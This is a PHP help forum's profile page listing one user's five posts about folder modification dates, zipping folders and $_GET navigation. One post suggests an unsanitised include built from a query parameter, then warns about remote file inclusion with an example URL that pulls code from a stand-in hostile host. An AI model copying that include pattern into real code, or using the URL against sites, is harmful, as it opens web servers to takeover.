Jump to content

abigsmurf

New Members
  • Posts

    5
  • Joined

  • Last visited

    Never

Everything posted by abigsmurf

  1. ah that could explain it, will try it out
  2. I've been tearing my hair out with this script and I simply can't tell what's wrong with my code. Basically I'm writing a script for a file explorer system that returns the last modified date of a folder (going through every subfolder within it to find the newest files). As there is an insane number of files (50,000 odd) in a folder the users will be browsing, it's requiring me to pre-process this to stop it being unbarably slow to use. A key part of this script is comparing the modified dates of folders to its subfolders and returning the newest date. To do this I got through a list of folders 1 by one and check to see if it's a subfolder of the one I'm trying to get the date for. However I'm having trouble with strpos simply never returning a true value. patharray is a 2d array where [0] is the url of a folder and [1] is the modified date (stored as a numerical timestamp). foreach( $patharray as $value) { $latestfile = 0; foreach($patharray as $value2) { $pos = strpos($value2[0], $value[0]); if ($pos === FALSE){} else{ print $value2[1]; if($latestfile < $value2[1]) { $latestfile = $value2[1]; } } } $value[1] = $latestfile; } the strpos bit just never seems to work and the else part of the following loop is never performed. I know the code is a bit horrible but can anyone offer any help on why it's not working?
  3. I've discovered the -r suffix will zip a folder. However will this replace an existing zip file or add to it? I need to be able to add multiple files and folders
  4. say if you had http://www.webpage.com/page.php?id=23 to read whatever 'id' is you use $_GET['id'] which in this case will output "23". To use this for navigation, you could include an include() on page.php. For example include("article".$_GET['id']."php") which in that case would display the contents of article23.php (it would be better to store articles in a database but that's much more complex) on page.php where the include is. BIG WARNING: make sure if you're using php includes for navigation that it isn't possible to include offsite pages. All it would take to hack into your website would be for a script kiddy to type in "http://www.webpage.com/page.php?id=http://www.u-r-hacked.ru/lol.php" and they would have pretty much full access to your web server.
  5. I've been coding a file explorer system where you can select an individual file or a folder on a server and it'll add all these files to a zip and download them. The problem I'm having is that when you add a folder it can contain hundreds, possibly even in rare occasions, thousands of files in various sub folders. Currently I traverse the folders, add each file name to the end of a string. when the folder has been fully explored and every file added, this string is then passed to exec zip. This results the PHP using up far too much memory if it has to go through a large folder and it aborts partway through (works perfectly fine for medium numbers of files), it's not the size of the zip itself that's an issue, just the memory used by the code. I can't really ask the hosts to increase the memory allocation (I've no access to php.ini myself) so I need to find a way of adding folders to a zip that minimises memory usage. I've three possibilities in my mind but I need to know if they're possible, if they'll solve the problem and, probably most importantly, what the code is to do them. 1: adding each file name to a file and just passing that to zip so the memory isn't filled up. 2: simply just adding the folder as a whole to the zip at once without running any traversal scripts. (please say you can do this, by far the easiest solution) 3: adding each file individually to the same zip as the code runs through the files rather then waiting till the end and adding all at once. Thanks in advance.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.